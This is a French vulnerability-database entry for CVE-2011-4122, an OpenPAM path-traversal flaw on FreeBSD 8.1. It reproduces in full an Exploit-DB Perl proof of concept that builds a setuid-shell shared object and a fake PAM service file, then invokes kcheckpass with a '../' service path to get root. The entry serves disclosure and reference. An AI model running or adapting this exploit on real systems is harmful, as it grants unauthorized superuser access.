CVE-2011-4122 : Détail

CVE-2011-4122

Directory Traversal
A01-Broken Access Control
0.06%V3
Local
2011-11-17
18h00 +00:00
2017-08-28
10h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Directory traversal vulnerability in openpam_configure.c in OpenPAM before r478 on FreeBSD 8.1 allows local users to load arbitrary DSOs and gain privileges via a .. (dot dot) in the service_name argument to the pam_start function, as demonstrated by a .. in the -c option to kcheckpass.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 36296

Date de publication : 2011-11-08 23h00 +00:00
Auteur : IKCE
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/50607/info OpenPAM is prone to a local privilege-escalation vulnerability. Local attackers may exploit this issue to execute arbitrary code with superuser privileges. Successfully exploiting this issue will result in the complete compromise of affected computers. #!/usr/bin/perl # kcheckpass invoking pam_start() with user provided # service argument, what a bad idea. OpenPAM accepts that. # Maybe this pam_start() vulnerability is exploitable via # other vectors as well. # Vuln tested on a FreeBSD 8.1. It does not affect # Linux PAM, as it is checking for / character # (C) 2011 by some dude, meant as a PoC! Only use on your own # machine and on your own risk!!! # # This commit is likely to fix the bug: # http://trac.des.no/openpam/changeset/478/trunk/lib/openpam_configure.c # my $kcheckpass = "/usr/local/kde4/lib/kde4/libexec/kcheckpass"; # build suid shell open(O,">/tmp/slam.c") or die $!; print O<<EOC; #include <stdio.h> #include <unistd.h> void __attribute__((constructor)) init() { char *a[] = {"/bin/sh", NULL}; setuid(0); execve(*a, a, NULL); } EOC close(O); # build fake pam module system("gcc -fPIC -Wall -c /tmp/slam.c -o /tmp/slam.o;gcc -shared -o /tmp/slam.so /tmp/slam.o"); # build fake PAM service file open(O,">/tmp/pamslam") or die $!; print O<<EOP; auth sufficient /tmp/slam.so EOP close(O); print "We need more Elchsalami! Happy birthday dude!\n"; exec("$kcheckpass -c ../../../tmp/pamslam -m classic");

Products Mentioned

Configuraton 0

Freebsd>>Freebsd >> Version 8.1

Références

http://secunia.com/advisories/46756
Tags : third-party-advisory, x_refsource_SECUNIA
http://openwall.com/lists/oss-security/2011/12/07/3
Tags : mailing-list, x_refsource_MLIST
http://osvdb.org/76945
Tags : vdb-entry, x_refsource_OSVDB
http://openwall.com/lists/oss-security/2011/12/08/9
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/46804
Tags : third-party-advisory, x_refsource_SECUNIA